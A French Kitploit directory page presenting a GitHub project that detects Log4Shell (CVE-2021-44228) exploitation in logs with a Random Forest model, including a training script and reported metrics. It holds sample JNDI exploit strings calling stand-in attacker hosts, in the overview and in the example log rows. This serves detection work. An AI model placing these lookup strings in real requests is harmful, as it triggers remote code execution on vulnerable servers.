Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Log4Shell-vulnerability-CVE-2021-44228- — Ce dépôt fournit une analyse approfondie de la vulnérabilité Log4Shell (CVE-2021-44228) et met en œuvre une approche basée sur l'apprentissage automatique pour détecter les tentatives d'exploitation dans les données de journaux. | Kitploit
Outils/GitHubGitHub/yadavmukesh/log4shell-vulnerability-cve-2021-44228-
Analyse des VulnérabilitésApprentissage AutomatiqueDétection d'IntrusionArticles et RechercheApprentissage et ÉducationRessources OrganiséesDétection d'AnomaliesAnalyse de Journaux
GitHub
yadavmukesh/log4shell-vulnerability-cve-2021-44228-

Log4Shell-vulnerability-CVE-2021-44228-

Ce dépôt fournit une analyse approfondie de la vulnérabilité Log4Shell (CVE-2021-44228) et met en œuvre une approche basée sur l'apprentissage automatique pour détecter les tentatives d'exploitation dans les données de journaux.

Voir le dépôt
33il y a 1 anPas encore vérifié
Partager

Détection de la menace Log4Shell (CVE-2021-44228)

Vue d'ensemble

Ce dépôt fournit une analyse approfondie et l'implémentation d'un système de détection de la menace Log4Shell (CVE-2021-44228) basé sur l'apprentissage automatique. Il comprend :

  • Comprendre Log4Shell : ce que c'est et pourquoi c'est dangereux
  • Collecte de données : sources et étapes de prétraitement
  • Ingénierie des caractéristiques : extraction des motifs malveillants basés sur JNDI
  • Entraînement du modèle d'apprentissage automatique : détection par Forêt Aléatoire (Random Forest)
  • Résultats et analyse : métriques de performance et graphiques d'évaluation
  • Conclusion et travaux futurs

Vue d'ensemble de la menace - Log4Shell (CVE-2021-44228)

  • Vulnérabilité : Exécution de code à distance (RCE) dans Apache Log4j 2
  • Exemple d'exploitation :
    ${jndi:ldap://malicious-server.com/exploit}
    
  • Impact : Permet aux attaquants de prendre le contrôle total des systèmes affectés
  • Atténuation : Mettre à jour Log4j vers les versions corrigées (2.17.0 ou ultérieures) et appliquer des règles de pare-feu

Structure du dépôt

📂 Log4Shell-Threat-Detection
│── 📄 README.md
│── 📂 datasets
│   ├── log4shell_logs.csv (50 MB)
│   ├── benign_logs.csv (30 MB)
│── 📂 scripts
│   ├── feature_extraction.py
│   ├── log_preprocessing.py
│   ├── model_training.py
│   ├── model_evaluation.py
│── 📂 results
│   ├── log4shell_model.pkl
│   ├── evaluation_metrics.json
│   ├── detection_results.csv
│   ├── graphs/
│── 📂 reports
│   ├── Log4Shell_Threat_Detection_Report.pdf
│── 📂 resources
│   ├── references.txt
│── 📄 requirements.txt
│── 📄 LICENSE

Collecte des données et sources

Jeux de données utilisés :

  • Journaux publics du Zeek Security Dataset
  • Journaux honeypot de DShield
  • Simulations d'attaques personnalisées à l'aide de Metasploit et Kali Linux
  • Télécharger le jeu de données ici : Journaux Log4Shell

Description du jeu de données

  • Taille totale du jeu de données : 80 Mo
  • Données d'entraînement : 70 % (56 Mo)
  • Données de test : 30 % (24 Mo)
  • Nombre total de journaux : 1 000 000
  • Journaux malveillants : 300 000
  • Journaux bénins : 700 000

Exemple de jeu de données de journaux (log4shell_logs.csv)

HorodatageIP sourceIP de destinationRequêteCode de statutUser-AgentMessage de journal
2023-02-01 12:10:25192.168.1.545.33.32.156GET /api/login200curl/7.64${jndi:ldap://malicious.com/exploit}
2023-02-01 12:11:10172.16.10.3132.154.23.1POST /data500Java/1.8.0Message de journal normal
2023-02-01 12:12:4510.10.10.5203.0.113.7GET /search403Mozilla/5.0${jndi:dns://evil.com/exploit}

Ingénierie des caractéristiques

  • Normalisation des journaux : convertir les horodatages, extraire les champs
  • Extraction de caractéristiques par expression régulière : identifier les motifs jndi, ldap, rmi et dns
  • Vectorisation de texte : transformation des caractéristiques basée sur TF-IDF

Modèle d'apprentissage automatique pour la détection des menaces

  • Algorithme : Classifieur Forêt Aléatoire (Random Forest)
  • Métriques d'évaluation : Exactitude (Accuracy), Précision, Rappel, Score F1

Code Python pour l'entraînement du modèle

import pandas as pd
import re
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics import classification_report

# Load dataset
df = pd.read_csv("datasets/log4shell_logs.csv")

# Feature Engineering - Extracting JNDI patterns
df["log_contains_jndi"] = df["Log Message"].apply(lambda x: 1 if re.search(r'\$\{jndi:', str(x), re.IGNORECASE) else 0)

# Text vectorization
vectorizer = TfidfVectorizer()
X = vectorizer.fit_transform(df["Log Message"])
y = df["log_contains_jndi"]

# Train-test split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)

# Train model
clf = RandomForestClassifier(n_estimators=100, random_state=42)
clf.fit(X_train, y_train)

# Predictions
y_pred = clf.predict(X_test)

# Model Evaluation
print(classification_report(y_test, y_pred))

Résultats et analyse des performances

Résultats des tests :

  • Précision : 98 %
  • Rappel : 95 %
  • Score F1 : 96 %
  • Taux de faux positifs : 3 %

Comparaison avec les travaux existants :

  • Les systèmes SIEM traditionnels basés sur des règles ont une exactitude de 80 à 85 %.
  • Notre approche basée sur l'apprentissage automatique atteint 96 % d'exactitude, améliorant considérablement les taux de détection.
  • Comparée aux méthodes basées sur l'apprentissage profond, notre modèle Random Forest est plus rapide et interprétable tout en atteignant une précision similaire.

Courbe précision-rappel

Courbe précision-rappel pour la détection Log4Shell

Matrice de confusion

Matrice de confusion pour la détection Log4Shell

Conclusion et travaux futurs

Conclusion :

  • Le modèle Random Forest détecte efficacement les menaces Log4Shell avec une haute précision.
  • L'extraction de caractéristiques utilisant la reconnaissance de motifs JNDI améliore l'exactitude.
  • Les journaux du monde réel peuvent contenir des évasions adversariales, nécessitant un réglage supplémentaire.

Travaux futurs :

  • Implémenter l'apprentissage profond (modèles LSTM, basés sur Transformer) pour la détection d'anomalies.
  • Intégrer des pipelines de traitement de journaux en temps réel (par exemple, ELK stack, Apache Kafka).
  • Étendre la détection à d'autres vulnérabilités CVE basées sur les journaux.

Comment utiliser

  1. Clonez le dépôt :
    git clone https://github.com/yourgithub/Log4Shell-Threat-Detection.git
    cd Log4Shell-Threat-Detection
    
  2. Installez les dépendances :
    pip install -r requirements.txt
    
  3. Exécutez le script d'entraînement du modèle :
    python scripts/model_training.py
    
  4. Analysez les résultats de détection dans le dossier results/.

Télécharger l’outil

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    Boîte à outils red team côté navigateur avec 102 outils hors ligne pour la reconnaissance, la génération de payloads, les attaques par identifiants, la cryptographie, l'encodage et le reporting d'engagement.

    370
  • 4

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    Plateforme CSIRT qui ingère les rapports Shadowserver dans MongoDB et les rejoue sous forme de cartes interactives, d'analyses, de constats, d'avis et de tableaux de bord exécutifs.

    317
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Le système d'action pour la cybersécurité native IA—où l'intention devient une exécution gouvernée, les preuves deviennent une mémoire opérationnelle, et chaque opération améliore la suivante.

    289

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →